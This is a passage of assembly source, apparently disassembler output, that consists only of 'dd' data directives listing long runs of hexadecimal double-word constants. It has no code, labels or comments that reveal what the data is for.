		dd 15683821h, 7FBC0009h, 0C0CC37ADh, 0D606DD6Fh, 6544F4F7h
		dd 6C430751h, 22783974h, 8D402162h, 9C0FEC80h, 80C0EF32h
		dd 4864775Ch, 0C513007Ah, 0AFC2385Ah, 4D00952Fh, 39F49137h
		dd 7B4FD93h, 0BD9621C8h, 12C94288h, 753DC60h, 3BD0A600h
		dd 9AA4982Bh, 809600E1h, 6B75A835h, 0BB12C8E7h,	64004BB9h
		dd 7023488Ch, 0C6960579h, 800D9567h, 37BF3904h,	0B66E3B02h
		dd 0C038E56Bh, 6C092Eh,	4EDB1B84h, 0D714237Eh, 0C08B7426h
		dd 0C6974500h, 0C308C4Dh, 260B1936h, 0A0013DF0h, 83E45B3Eh
		dd 0C8F7BB6Fh, 940CB1h,	7BDB3639h, 11FCE159h, 0D31CA100h
		dd 14859C7Eh, 65EE0038h, 353707B7h, 0D803E270h,	99525BF9h
		dd 58CDC08Bh, 6B0B1816h, 0C1FDF9E1h, 0A5004272h, 6DF89104h
		dd 0F8505C7Ah, 0FC1500BAh, 0B9BCAA2h, 2E133EC8h, 0C01FDEE4h
		dd 4E284BC0h, 2FE24Fh, 73085586h, 215BD2D1h, 41FA802h
		dd 0F47FEF28h, 0BD61009Ah, 0F0D7666Bh, 0B5DBE700h, 238DFF8Eh
		dd 6D1F007Dh, 6014F74Ah, 341EF3CFh, 0E1002B2Fh,	0AD055794h
		dd 0EC1A0012h, 5618D6F0h, 0F57808EFh, 722FD200h, 6B52474Eh
		dd 501D3B8Fh, 5AEEE780h, 6F4661C9h, 0AC30DE1Dh,	0C38ED1C0h
		dd 3DF7DC2Bh, 9603EE63h, 6D2897EAh, 227EF0E8h, 78664E00h
		dd 8F46D1EBh, 5DE629h, 305EDC55h, 8C95CD07h, 0D6ABCB50h
		dd 0AD4FC900h, 8FF181E5h, 0DECA0082h, 8D595CA8h, 25001707h
		dd 0A024BBF2h, 0C45A90h, 9CCAD141h, 16706D75h, 0F82F5B00h
		dd 6F53F1F0h, 0A06A05A7h, 81DDDA0Dh, 0C0B0349Dh, 69FCAD71h
		dd 91777404h, 38F0B1F5h, 2A660042h, 0D92F6E04h,	0D512548Dh
		dd 3C002BB7h, 13165A93h, 40800E73h, 9CC0DFBDh, 0BA83AE1h
		dd 0CA0EA4E0h, 7D041E6Bh, 50674540h, 30B9EB42h,	3161AEF5h
		dd 74785ECCh, 7A358900h, 76418A16h, 5966090Fh, 68F0672h
		dd 9EE3CF81h, 12BC2C7Eh, 78C7D7FAh, 0DF85E680h,	0DEB3A46h
		dd 1B4312h, 0E267CC97h,	7DEC39B7h, 68016EE0h, 89DE782Dh
		dd 40403EDAh, 5DE341h, 8748DCDFh, 622635D0h, 976A2B00h
		dd 8F55835Bh, 20D6A158h, 3DBAF8DFh, 0ECE01E5h, 0AF9AE336h
		dd 68899769h, 0E0653840h, 0F9420E7Eh, 0DD3B288Ch, 0C303CC70h
		dd 2865A7A1h, 0B06DA006h, 9213002Ch, 1DE03F7Dh,	0B8C06834h
		dd 0C4A53E5Ch, 0AFD006Fh, 1323596Ah, 0C3035B49h, 0D494385Fh
		dd 0A4CAE0D9h, 0AA701D8Ah, 2445403Dh, 167FA535h, 6C449903h
		dd 0D0F327E4h, 7968B64h, 72EB6071h, 80FFE046h, 5100E04Fh
		dd 57FA3DA7h, 52F86BCh,	432AB52Ch, 0F2FD80F1h, 5D001736h
		dd 0E559DC78h, 150626E8h, 0C411C27Dh, 9F311B00h, 67CEEB7Bh
		dd 2E74ECF0h, 36CC88A8h, 32E04389h, 0EC8A0C1Eh,	4B216C2Fh
		dd 0DB355A0Ch, 5E51197h, 0E8B5D017h, 0EB1C0161h, 837ECCECh
		dd 0DEBCD911h, 3F2936Eh, 27E21981h, 1101EFC3h, 6898E4FBh
		dd 7B00BAFEh, 20102458h, 6480B09Ah, 62AB75E6h, 82F5BD07h
		dd 42A3EA34h, 0A5A80EF6h, 0D0D8A2F7h, 6C0C403Ah, 10D922E7h
		dd 0EC130026h, 33574BCFh, 8D017D98h, 7C62288Ah,	9FE05B5Fh
		dd 0A4F063AFh, 0C7D7C9EBh, 0B9065FC2h, 980010B6h, 0CD364204h
		dd 3233946h, 3565EFC0h,	0C3E51427h, 0C1FF3DE5h,	9C41B2BFh
		dd 17E2E29h, 785A28F1h,	25D04A72h, 3C91DAh, 44403785h
		dd 0DE07CDEBh, 0DF1DE4AEh, 217646h, 46403027h, 4C138DBCh
		dd 0A1E51A14h, 109741DCh, 0E2BB0EDCh, 10ED9601h, 1E7B5FCAh
		dd 93029C8h, 0EB92A439h, 2F729821h, 0E904FF77h,	0C69A97F6h
		dd 3241C103h, 816F6781h, 0E3CD6521h, 204F3942h,	838FA811h
		dd 266029Ah, 0B9DBEDB8h, 0A3408424h, 140E1530h,	60800CFCh
		dd 0F1ABA15Ah, 2CEB1899h, 0D96EE970h, 0F3C20B4h, 38B76778h
		dd 32DEEC68h, 0B5D81749h, 8984F761h, 84442218h,	0DC88CC00h
		dd 71282679h, 0E260109h, 98BEDA6Ah, 1C217608h, 0B6710130h
		dd 145A8589h, 4E15EC58h, 0AD935D12h, 0FB53040h,	1F3DDC6h
		dd 4B877237h, 610D114Ch, 1D866A6Fh, 6FDA3029h, 1B2941B9h
		dd 0FCB78407h, 6B310793h, 3AE0B1C6h, 50484D22h,	38646F07h
		dd 0B5F017E1h, 58DC01CEh, 208CCF45h, 0E71A3764h, 8518C9EDh
		dd 6C203C64h, 233E711Dh, 74110EE3h, 71251F00h, 0BB28DC32h
		dd 0BE83CE3Ah, 79AA02CBh, 80850B87h, 4A29F598h,	0F18D03D6h
		dd 60CC822Eh, 0AE55410Bh, 4F6982C2h, 0E0064DBh,	6BFD616h
		dd 81193887h, 24ADEEECh, 31091384h, 21252830h, 2FF680A4h
		dd 1BE386E4h, 0C9DF9BA0h, 8073DAE1h, 9937C151h,	416F81h
		dd 68B3FD92h, 265FF61Ch, 0FC422C01h, 795B5DE2h,	40448842h
		dd 7642B94h, 0FA737C49h, 0B580A03Fh, 1201529Eh,	218C332h
		dd 0AB1079DAh, 0A90024FCh, 5A07AFA3h, 748EC5h, 7CA57748h
		dd 7F4AFB76h, 32C84B54h, 0BC9A7E06h, 416ADBh, 90AA733Fh
		dd 2E4B08B1h, 6DD00D00h, 94F6C187h, 0EE6C0AAFh,	80FCE5h
		dd 6932422Bh, 0F1004CCAh, 0EB4A28A1h, 0A5DF75h,	0C37840B4h
		dd 0D0FE6924h, 1B56240h, 1B22A916h, 41F05AF1h, 0C199E990h
		dd 5B6F0066h, 63B0EAEh,	860FA12h, 5681092h, 65004AFCh
		dd 78299A1Dh, 0A98F475h, 1E03E73Bh, 2F4B13CCh, 782328h
		dd 45E54F0Fh, 0B8A07D9Bh, 0DB00015Ah, 0A29E4A63h, 5872A48Fh
		dd 765180DAh, 0DB461881h, 40EBAE98h, 0AAC868ECh, 0D44EA228h
		dd 0D2331503h, 0C2AB79E8h, 4B14605Dh, 4E1C806Dh, 3BF70905h
		dd 88F37EC2h, 0A01A9914h, 1AA543Ah, 402D0084h, 0E5F244D6h
		dd 4748F7EEh, 7E231D5Ch, 4DA79080h, 3221F35h, 0AAE54642h
		dd 7FF02839h, 0A88B74DAh, 1ECCEEh, 1B132F15h, 17C83AB4h
		dd 0BD9D1200h, 7AE53B38h, 316E60DAh, 2C40E278h,	8221AC00h
		dd 451B8D5Dh, 0F55600A4h, 0BAE06414h, 69D93B1Ch, 0B26022B1h
		dd 2439F8A7h, 8E788F9Fh, 0B9C5DE6h, 648FF5C0h, 2EA83880h
		dd 680C1539h, 40701499h, 82A6253h, 68C36FCAh, 0D8E493BAh
		dd 9D3D1203h, 32303B29h, 8793370h, 34F390A0h, 8107969Dh
		dd 4E162695h, 3BAA5870h, 0EA7A32FFh, 0D4C01988h, 0B3835B07h
		dd 6016CAE6h, 2AB523A0h, 90C073E5h, 0DBFE4468h,	0EC7544h
		dd 4E57A972h, 367F0DE5h, 95C6E7Bh, 42C600AAh, 0E3EC2C34h
		dd 7A322E3Bh, 783F04FCh, 1B0480A1h, 8090AD39h, 0F843A429h
		dd 8109FB9Ah, 0ADAE4E8h, 4C24EAE5h, 14E7506Eh, 0EA9CE615h
		dd 0C936F078h, 7C84BC48h, 88E404BEh, 0F1DEB480h, 19D0C403h
		dd 2A8082B1h, 0F6403230h, 0DF2521EBh, 2444BFh, 142402Bh
		dd 805A8130h, 8A3CC002h, 85EF2903h, 50C8C2C8h, 39FE0070h
		dd 402F21F8h, 38A518D4h, 906076E4h, 0B8004C65h,	6ECAE85Ah
		dd 3CBF19Dh, 0DD89DE01h, 80CD7E91h, 0C1A63393h,	0EF0BEB90h
		dd 868BF6h, 7ECBFBB0h, 31EB28ECh, 6ECC2A64h, 0A95D00E4h
		dd 0A450E158h, 600D5FFh, 74D245EFh, 13EB41h, 0BEE517B6h
		dd 662CEC2Ah, 0DE4541CEh, 3B414041h, 22DA70h, 746E7600h
		dd 0CE821297h, 770166EAh, 6FA783D6h, 2C604B56h,	35B20A18h
		dd 84947FC2h, 80A94ADBh, 5D89EE08h, 0E309FA66h,	42BB0021h
		dd 1503CBA9h, 9A584A25h, 8D3880B8h, 5C1A2AD8h, 0B50C6343h
		dd 3FD921E8h, 7D93C09h
		dd 38748532h, 0A9473820h, 567A1037h, 3FBEB088h,	14998A9h
		dd 81F18FE2h, 3061EF37h, 6A60CC48h, 0D4D0D261h,	0B3F0B4h
		dd 0AB930813h, 0CF5F147Fh, 0C2EE8F0Fh, 0EC50B8E1h, 0E5B10C5Dh
		dd 91644CA2h, 0EEF1CA05h, 883B709h, 17187F38h, 83C39F7h
		dd 29C0404Ch, 46E33A71h, 72222Eh, 4971311Bh, 26C05B9Fh
		dd 39158B01h, 0FB75A0D9h, 0F1D060DEh, 2D8E12ECh, 137C001Ah
		dd 9CE70582h, 0B6023C79h, 34478D06h, 10284002h,	7EA917A6h
		dd 23902F43h, 0CDEE0774h, 97D2E02Bh, 48011805h,	65934C98h
		dd 8196958Fh, 80820972h, 75839845h, 0A2429198h,	13A444DCh
		dd 24E6B52Ah, 6DC01FCh,	80F6C28Ah, 0ADA28521h, 2D2C1h
		dd 0FBD3DD96h, 0C27B982Ah, 0C4C7EA2Ch, 24915F14h, 3111C0AFh
		dd 48403380h, 448C2DEBh, 2C3D2377h, 0AF3C0940h,	0DA789099h
		dd 3C63FE22h, 0F500D14Ch, 0B1DF82Bh, 0BC1C8561h, 8F43ACEFh
		dd 4636A73h, 92BD5E49h,	0C0A09703h, 753BD68Dh, 7FEC2100h
		dd 6E5A97A7h, 0F68F0280h, 0E6F167D9h, 29011044h, 7756A339h
		dd 0A0FACB72h, 0D22D0D84h, 0F4260016h, 0F2ACFEB6h, 0AA065C92h
		dd 6C6B37D9h, 96E217F0h, 7B3C4761h, 3DDCC01Fh, 0C9083B7h
		dd 7359B200h, 99F1412Bh, 8CB55542h, 582E1160h, 40844CE9h
		dd 0B9A5000Bh, 7D312335h, 20E1619Fh, 0ECFD0F59h, 20A7432Dh
		dd 0C107A108h, 805CE3B5h, 0BD4468C9h, 0F10596F1h, 0E878A899h
		dd 0C2C1004h, 0D158004Ch, 36472021h, 4E0F5B24h,	511A26h
		dd 644F1048h, 13741Ch, 0F43A4549h, 200B3165h, 35CE5507h
		dd 7A404B2Ah, 0F63F4DF1h, 0E32FF459h, 3431460h,	3D4CF60Dh
		dd 3FE85416h, 52024F25h, 4E551A4Dh, 3C38945Ah, 1C3C4C28h
		dd 4618A574h, 1E3C082Bh, 0B0203743h, 585B0360h,	889A29h
		dd 2B510C4Ch, 52427B28h, 0F5204907h, 0EF802E38h, 0C0F435Dh
		dd 0BE5A2FFBh, 3F3C2BD1h, 22697A38h, 52207938h,	0F6DB0401h
		dd 0DED8645Eh, 14980E98h, 6A2F7600h, 35AF94FDh,	1E7514E7h
		dd 4217DC09h, 0E508404Ch, 0A086558h, 78BD18DDh,	29B44537h
		dd 1CC063E4h, 7FCE737h,	2967CC5Fh, 22C5A7Ch, 1A1EF5Eh
		dd 0C310462h, 0C88A3E4h, 4E35189h, 2C83400Ch, 0E6590A67h
		dd 350B875h, 910EDEEFh,	5A2B4012h, 6532BC47h, 1559E8D6h
		dd 78F0AE19h, 68582B0Ah, 0EFA61058h, 90DFA1DEh,	0E9C8EFB9h
		dd 89CA475h, 0EC84DBC7h, 0CC90712Eh, 6E8DF6EAh,	0C71E5805h
		dd 0F27FE330h, 0C8396E9h, 64C2B57Bh, 5DE4E448h,	0E485D726h
		dd 2AA93100h, 28A2B17Ah, 3C0C3DDDh, 0F7276EB2h,	0CF878CA1h
		dd 9CE20079h, 693B3A2Eh, 0C67FF14h, 0B922EC5Ch,	0C660397Eh
		dd 4A3FDCB1h, 645C53EBh, 0A92040A2h, 552F7A3Ah,	0BC028C6Eh
		dd 0B80412F8h, 0E81322CDh, 30A5FB9Ch, 431973F7h, 0F8A6377Fh
		dd 31E02951h, 0EE5C21E8h, 45455910h, 0BA408CB8h, 293DC1EFh
		dd 918C7693h, 0A0E446F6h, 0EC44711Ah, 327C9975h, 6E106398h
		dd 4858502Fh, 68826042h, 7A7F7BD9h, 535E4B88h, 351F8876h
		dd 50A6ED44h, 425C59CDh, 594429Ch, 6DC37F7Ch, 0C50EC8Bh
		dd 5C588965h, 99D16F80h, 0D20A850Ch, 595274B4h,	68FC04EBh
		dd 288E653h, 195E4A42h,	8CF482B2h, 17A52191h, 4F401664h
		dd 99D816D3h, 70284248h, 80735E25h, 0C994676h, 8C8B1314h
		dd 1A9D4409h, 4FC40C9Fh, 3FE702Ah, 0C8A87048h, 4680A1B6h
		dd 0C8C99FCh, 8C936328h, 0AA9C5349h, 0A1518F7Ah, 7BB1920Dh
		dd 8581A07Ch, 0EB996A82h, 293C722Eh, 2CD8DFA6h,	0F7924374h
		dd 0C8506157h, 0B97D5472h, 0B5FF6919h, 0A84D6D51h, 0C21981BEh
		dd 4CB479F8h, 21D564D8h, 0A9E5B258h, 442C354Ch,	0E8E76B3Ah
		dd 0C8B497DFh, 42043320h, 7C829F4h, 691B7881h, 799127F2h
		dd 482F74C1h, 0DF18A7CCh, 31181839h, 28C7725Ah,	11C482CDh
		dd 17C9B549h, 5CD083D3h, 8EC68EE4h, 76B878DEh, 687B9323h
		dd 823CA3E8h, 8A036998h, 3BD8AA3Ch, 67B2FF3Ch, 0D7203C99h
		dd 40CD5F8Ah, 85F2A110h, 8F3EBD25h, 1B538332h, 5EF1B5h
		dd 0DB023F21h, 6D0150F7h, 184BEF30h, 5ACE547h, 9A3AB419h
		dd 89B0F4B7h, 91A5D201h, 0FABB880Ch, 0CD038440h, 516860CBh
		dd 8A313970h, 9DBC6C00h, 14B6BFCAh, 36350162h, 0E45DF153h
		dd 0B202FEDAh, 758FE080h, 8BD0000Ah, 1D1719C6h,	5AFECC33h
		dd 0E53F030Fh, 4BD400A8h, 389556Eh, 2B4FB9DAh, 280104A9h
		dd 2D902A96h, 34F5C3h, 6BA20103h, 683B181Eh, 10202A70h
		dd 0F35026h, 8F2210B1h,	38AC5DEBh, 6E204800h, 0CA3119EDh
		dd 0B492305Bh, 804CC631h, 771E6700h, 84DEE19Fh,	90D500B3h
		dd 0F83924BDh, 900BAE5h, 6D3EDA33h, 5B6965A5h, 4CF840FEh
		dd 2BB4BCE3h, 9087CB2Ah, 0AE14631Fh, 5073803Ah,	177C5D58h
		dd 6CE2000Eh, 94DB48F9h, 0AC3B6641h, 5CB27824h,	0C063A600h
		dd 8B77B909h, 391E000Eh, 0CAA2E345h, 0EC00CB18h, 0C58284E2h
		dd 338C9Dh, 2C461D8Eh, 95DD9F99h, 0D039E900h, 0C2F491D3h
		dd 0DBDE00C1h, 563D360Ch, 0E404756Ch, 500BD6C5h, 5C115D87h
		dd 0D0407D29h, 0FE27FD59h, 24A63045h, 477C1760h, 5D883800h
		dd 19B63579h, 0D4B90C2Eh, 3F80C2DEh, 2408BB60h,	11F4674h
		dd 3A9EC7B8h, 83A43B21h, 85BEC518h, 26B10034h, 0F42DC35Fh
		dd 9400FF54h, 3A930BBAh, 0B5A22Fh, 23F7DC0Dh, 4584D71Dh
		dd 6186601h, 0A421A024h, 6BA780EBh, 5416008Ah, 0C014558Bh
		dd 0E402235Ch, 0A875575Ah, 0F48819Fh, 7FCE81Dh,	3F8B192Eh
		dd 0C4EA19BDh, 0C9008FF2h, 0D8A87BBEh, 0C02084A3h, 732D6DA1h
		dd 100CD4Fh, 0FDF2E630h, 0B20F03h, 71BE5591h, 4A636AF8h
		dd 2F51CE63h, 0F441E826h, 428603D6h, 127E0997h,	0E074A0B1h
		dd 8E544C3Fh, 0AB30A7A8h, 0CD639D4h, 0B18C08Dh,	4A2CB6F7h
		dd 4E385703h, 2685AEh, 2DC6A391h, 74D73F3Ch, 0C2309860h
		dd 4E0CF1h, 0CC86EA7Ch,	630B2C14h, 559ECB0Fh, 51262059h
		dd 563094h, 4C4B01B0h, 13CFD1A6h, 0E195E303h, 0C0CBA070h
		dd 1E17AD56h, 0E78FA7h,	0D1AE21A3h, 94F4FAA4h, 4D0C14AEh
		dd 30A6D09Dh, 204A1FC8h, 4BA304AAh, 0A9FB01ADh,	0A7E09BC3h
		dd 61490018h, 12CDE34Eh, 3206C8A3h, 9FD5BA56h, 9D7819h
		dd 1544FBA7h, 14CDC89Eh, 0AF2880D9h, 0A507D1D3h, 7712820h
		dd 8E9F019Dh, 4CA3C3E7h, 0FACD5006h, 0A59C7A0h,	9E1FA101h
		dd 4E85420Ch, 0CCB384A0h, 0AB384C49h, 9D1494A4h, 9CFA0388h
		dd 78FA8C3h, 0B9D38529h, 2A2F3051h, 0DA3AB631h,	6B48622Eh
		dd 9987C1B0h, 318090F9h, 8AF5CC2Bh, 0EB394DF1h,	184F30C8h
		dd 70C9A534h, 0EAC60102h, 76CB918Ch, 79FAC4ABh,	5C903806h
		dd 7138894Bh, 181B00A9h, 81862F9Ah, 3848C094h, 0B0F203C6h
		dd 14B147h, 0F3DEE9C9h,	4C6C8183h, 0D1988CF1h, 40DFA933h
		dd 0B03AEB2Dh, 0AC830444h, 0D803533Eh, 0E02895F7h, 774418CEh
		dd 0AEF33214h, 99113068h, 0F3AC9BCh, 1884539Ah,	0EAAF2C03h
		dd 773144DCh, 8A762907h, 84EE8340h, 38067DACh, 95E21031h
		dd 595061B8h, 8C34B829h, 792B4C30h, 31F840CBh, 785D9718h
		dd 28BBC528h, 30C8D2D1h, 92418AC9h, 65034895h, 70F74CD6h
		dd 305CB79Ah, 86F83047h, 0C46B6951h, 0EACD5C14h, 0A39380F0h
		dd 0DF725759h, 0B9555830h, 2430B953h, 0C2AE68D4h, 4E893423h
		dd 0B8A40CE8h, 0CC142E41h, 30DC1329h, 1B7F17Dh,	318CFDBBh
		dd 77D96827h, 124C41E3h
		dd 94584098h, 46601181h, 0DAB8F91h, 2A3A37B5h, 336DC039h
		dd 666EC85Ch, 220B2930h, 85C42D50h, 5851D04Ch, 549375E8h
		dd 0BBC4D260h, 146C92B6h, 0A4240EC9h, 238678ACh, 0B8315648h
		dd 210B9D8Dh, 924708B0h, 112E4356h, 3483F8DEh, 0A171DA5Ch
		dd 28AF0F7Ch, 372275E4h, 114A1D35h, 648BC498h, 3F8FBF44h
		dd 88C23E38h, 0C8674791h, 0F1F22B7Eh, 66BF0878h, 0F850AF94h
		dd 8440425Ah, 0D744656Ch, 92103F8Eh, 8467A2F4h,	116ADF28h
		dd 0D889E8DEh, 160F3090h, 0F8226C9Ah, 0AA609124h, 0D131094Ch
		dd 6010C5B1h, 2934E605h, 8C826159h, 28510F8Eh, 3702345Bh
		dd 3E7F3DF6h, 187C64DAh, 78B6650Fh, 0F828EF8h, 3E38E01Ch
		dd 0A884BFB1h, 0A68CF808h, 0B6AC304Ch, 0F5E20561h, 4B449898h
		dd 69776799h, 0C2488A55h, 0B86189BAh, 5A1181B2h, 0A159AE23h
		dd 48D8E824h, 0A8D0DC4Bh, 2BD349D8h, 0CC6ED20Ah, 6280A0B5h
		dd 15A81713h, 12C800B2h, 9ED5A3FEh, 0A0B0EE4Dh,	0C2B14A00h
		dd 0FC9C549Fh, 45B800CDh, 0B013D3E9h, 0FD009DF4h, 2112D1A3h
		dd 19E1DA9h, 45CCAAAEh,	0D3CBF1FCh, 104B2930h, 0F8FBA3C3h
		dd 1A490717h, 0C012CBA7h, 0AECED19Eh, 3E05B03Ch, 5CC33D70h
		dd 1EC63C44h, 4B00A315h, 0E8CA0421h, 85F9CA8Eh,	3D6D704h
		dd 49C71269h, 0E8A0A772h, 1829D9FCh, 55421832h,	6E3C6822h
		dd 0EFC266Bh, 0CE0C00D4h, 982D68B0h, 2CBB310Ch,	17D21815h
		dd 46FEABh, 0A6803214h,	48C13378h, 0F95A91A9h, 202E030h
		dd 36416D22h, 80C8C75Ch, 623B38AFh, 1082A58Eh, 73F278h
		dd 0AFB6F505h, 48569137h, 132E0D25h, 8349D8C4h,	76A212A7h
		dd 14B49A85h, 54059A2h,	0B2CC5117h, 914A9090h, 1808DEA8h
		dd 1C8EF9A6h, 0D3803304h, 40376F1Eh, 0C29540CCh, 0C5818C47h
		dd 85421DB3h, 76330810h, 94A97090h, 7E571839h, 0E801E03Ch
		dd 0CD0280E8h, 0F66C83D4h, 20845295h, 800DED5h,	4F61E46Bh
		dd 0DD6D54EAh, 2CA41050h, 93414897h, 8C5C2D53h,	0FB0B1118h
		dd 0A81E671h, 3CC2BF9Bh, 0D0C81288h, 0D4CE5D90h, 49788805h
		dd 9C883355h, 542800D1h, 0E2570846h, 5132BF3Ah,	84788977h
		dd 1C823148h, 7C2C4EBCh, 5C649154h, 22496464h, 0E1476683h
		dd 56F4B75Ch, 8E7A59h, 0A901146Ah, 9EAE9FD5h, 4CA3C601h
		dd 0AFA11DA0h, 78CCCF44h, 1650B06Fh, 1FA7FAA2h,	39F10354h
		dd 0C2A25C42h, 2057870h, 5848B481h, 7B196030h, 0DE3B02A4h
		dd 0DFC9FB9Eh, 3F4B0498h, 10AC727Ch, 38E80881h,	11E532D8h
		dd 0F0749876h, 3278B3EFh, 0C21A9120h, 28B40528h, 0C844AC3Ah
		dd 42D40D4h, 0A6F218F1h, 21B86424h, 34204A7Dh, 598A10D9h
		dd 5110343Ch, 0DA199936h, 144D6609h, 80F10819h,	0D4700504h
		dd 848809DBh, 5AC19CB7h, 0C488BD4h, 8C1056F1h, 0FF05040h
		dd 960DFFEDh, 8F919088h, 91449222h, 394F41ECh, 9EE3224h
		dd 4CF824EDh, 0C8BA31B7h, 0B491B909h, 0B644B322h, 124089B5h
		dd 4F42243Fh, 392C8041h, 0CE403FFh, 38B95D3Ch, 2D657DC1h
		dd 842D77B8h, 7504A0A1h, 26504915h, 0AE003C5Ch,	65852B0Bh
		dd 75331D77h, 0C001FE51h, 8C957D50h, 902ECCEFh,	0D50BA70Eh
		dd 0B3075F91h, 0AB47CD8Eh, 2977C540h, 19D7C85h,	2CE61C33h
		dd 0E0242031h, 78C18CF8h, 0CD518EA5h, 4460C23h,	2CC9FEEFh
		dd 1C808859h, 0E9120142h, 0F167453Eh, 0E0384ACEh, 102148FAh
		dd 3314501h, 3FBA00Dh, 8092207h, 38A80D97h, 0AEFA040Bh
		dd 0A8C9F7B0h, 2B7CD300h, 8C935A22h, 2151616Ch,	4A32B856h
		dd 0CEDDB038h, 7209079Ah, 0FFF2DAD1h, 18789D86h, 0ADDF3200h
		dd 9F7D4505h, 2BC51B9Ah, 6D83931h, 2EF2AEF9h, 2CF60F14h
		dd 0D4228B28h, 0AAD2E1E4h, 410CD31Ah, 30400C55h, 3FCF8F3h
		dd 0DE7A413Dh, 12C0E807h, 760E30F1h, 0A8D1A1h, 14D3E30Eh
		dd 49CC0004h, 0ED95E421h, 1D00B020h, 0D2034D9Eh, 79CFDA4h
		dd 4E524917h, 0A37160E7h, 0A0EE3FC8h, 4C44FA01h, 0AE313DADh
		dd 7248E0D3h, 0C0D57E9Dh, 0FA9F0640h, 0E505C9B0h, 32C3AF14h
		dd 0C603405Fh, 0C0AE19A0h, 0F1A8EEDh, 0AA4AA6CBh, 94C03014h
		dd 0C7B212EDh, 1C5C4929h, 0A771EA02h, 374E0018h, 9D0215A2h
		dd 0FE13A3C6h, 8F60A5D1h, 0A785EC2Ah, 0A440FAC6h, 0C8E460DFh
		dd 51FB2BD5h, 0F8A31718h, 0DF0680A4h, 24FBE809h, 5830C7CCh
		dd 0D100A316h, 79E14CDh, 0A028EE4h, 0B262E8A1h,	896838h
		dd 0EC0254D6h, 0B30A14A4h, 1463A61Dh, 32E040E8h, 2B569h
		dd 0C3B2B7D6h, 0A0A571D4h, 0F821A328h, 0D920A805h, 2AFEDD3Ah
		dd 300EAB8h, 105B3FA6h,	12E042E3h, 8C00E97Ch, 99FA0A3h
		dd 4C49C89Eh, 0D61E3416h, 0BF00E64Ah, 8D01C7BCh, 220F94A3h
		dd 9840E2B5h, 9B01C3AAh, 0CEA1EA3Ch, 803E9C20h,	89A09EF0h
		dd 11511A07h, 584629Fh,	6C4020C9h, 7EA41902h, 12EC9016h
		dd 30C3B520h, 3E03B74h,	1C2E91D6h, 0ABDD12BBh, 14A83000h
		dd 123FF49Dh, 0AB1DAD1Fh, 90A3982Ch, 0BAAE0558h, 83FD45C6h
		dd 0FEC1E854h, 9ED030D0h, 0E6D13Ch, 4AA71DA5h, 0B099C8EEh
		dd 9CF40FB8h, 1201B156h, 0D101B208h, 8C40E24Dh,	1D0745B9h
		dd 0C29C15CEh, 7083FC65h, 0FCC0F4CDh, 58F11A8Bh, 0A807E0A5h
		dd 85FB9ED5h, 0EE8780C9h, 0EBF945CBh, 9C7C5874h, 0AAAF490Ch
		dd 33F140CCh, 1608A2FEh, 3BEEC83Eh, 0CBA719A3h,	897FB230h
		dd 0A9A08994h, 0D09F55C7h, 41F8A97Fh, 0E1B01FA1h, 0D47612h
		dd 0AD06A002h, 0B1214CF4h, 0F5E70060h, 0D1A67247h, 0A0221209h
		dd 55B83AC6h, 0F8AFB0C7h, 74C3FE5Ch, 0FA7759Eh,	17F11549h
		dd 0A33030BFh, 7CB0A9FBh, 70A9AF4Ah, 0CED5589h,	5BDD607Fh
		dd 0C4B217B0h, 4CA6F104h, 0DC84C2A9h, 1312E4D8h, 22C30472h
		dd 0E0D20Ch, 4B58A1FAh,	78493ADCh, 4C781774h, 209F0134h
		dd 60A0C4D2h, 9AA37008h, 82B27C0Ch, 0F120E4B8h,	1958FA7Ah
		dd 0B42C05C0h, 20C0C8A9h, 9899C3B9h, 69D16010h,	0B3AFA3C9h
		dd 20B9D074h, 2CC7A78Ah, 0E63C435Ah, 0FA9F0988h, 3486C704h
		dd 20C058D9h, 0A112A318h, 376CB801h, 58002A0h, 811824D2h
		dd 7D4F9B50h, 2BBBE0Ch,	0A1E762D4h, 3C84D943h, 4A99FB08h
		dd 857C787Ah, 0A15DE218h, 10FBC8C0h, 1548FC0Ah,	9F77689Dh
		dd 0CD03C13Dh, 60ADFA99h, 12E14D8h, 9C0364C7h, 0E55849D0h
		dd 0F8CC1856h, 0F450A00Dh, 0E8FE77F3h, 0A32017EFh, 9F2004C3h
		dd 0F0D1BACCh, 443C06CFh, 0D5AA4B02h, 3C7915A3h, 8FD49827h
		dd 9ECB1E0Fh, 44FA80ADh, 0A1C2B221h, 0C8004A7Eh, 0D5A37240h
		dd 0B8A570CDh, 0FE500290h, 0A0AC10F5h, 0FCF12100h, 211A6049h
		dd 0A4C8D64Ch, 13AE6E3Ah, 50D42045h, 5118C8A7h,	0EDE76943h
		dd 5E0755Ch, 0C6AD57CDh, 37C0342Eh, 0C8B14AA3h,	34E850BEh
		dd 14A5055Fh, 1F90F79Eh, 503AD3ECh, 113CAFF0h, 0DAE9B46h
		dd 0F4A3E058h, 0A9563099h, 9DFCAD21h, 18042005h, 0C812199Eh
		dd 90E818EBh, 0E0B6A371h, 0C2419489h, 97381A80h, 0C003E710h
		dd 0E79D20CDh, 0D5F8CF74h, 0EE014DE8h, 0F17A4136h, 1C21A2EAh
		dd 0A9FEDC00h, 4AA600D5h, 0FA9ACAEEh, 0F1971DA3h, 0B88B25F8h
		dd 5132E0B9h, 21AEEDC4h, 3E8C1000h, 0F89C5211h,	0A719CE60h
		dd 75123618h, 0C7E888D8h, 0F49EDCA0h, 0A71FED15h, 7A53CACh
		dd 17B212F2h, 0F50482A9h, 1D808140h, 2FF84D9Fh,	0B06A5088h
		dd 0F071509Eh, 0A4580412h, 0A84FA3CAh, 4BE8C728h, 7C12C983h
		dd 0D5C8A808h, 0A658A49Fh
		dd 902C25DCh, 28C60A8h,	0F5E506A4h, 700FD4D1h, 16A661A1h
		dd 0F44D1DAEh, 0D2936429h, 20429FF0h, 0B17C3070h, 0A31A3E03h
		dd 0A7199C8h, 0AE7247E8h, 0B01509F0h, 58FF1845h, 0AF008D3Ah
		dd 9843B6F9h, 39D0782Fh, 4D030EF1h, 295B32CEh, 0D6F440D4h
		dd 6B5B72Bh, 0FD5A8A9Eh, 5C4B08EDh, 3EEAD4C0h, 0D88D002Ch
		dd 1CF30CB1h, 7E00C683h, 0D2D0079Eh, 4EA895B3h,	858AC3Ah
		dd 0CD5C70h, 98122501h,	78C01323h, 0FEA99C94h, 0D00506E7h
		dd 602D3399h, 9A4EB57Bh, 340014ACh, 0CE095174h,	0BD03934Ch
		dd 70F7B968h, 852102B3h, 5C415BAAh, 2010209Eh, 15C1CD90h
		dd 0EF06A9h, 59445117h,	300348C9h, 3AB7B6A5h, 2D5A0D88h
		dd 9E091066h, 0FE450121h, 0D4ED8AB7h, 80F880AFh, 511272B0h
		dd 24C854E6h, 3CB704B8h, 3258FD3Ah, 4F27A8h, 0ADDFC8B8h
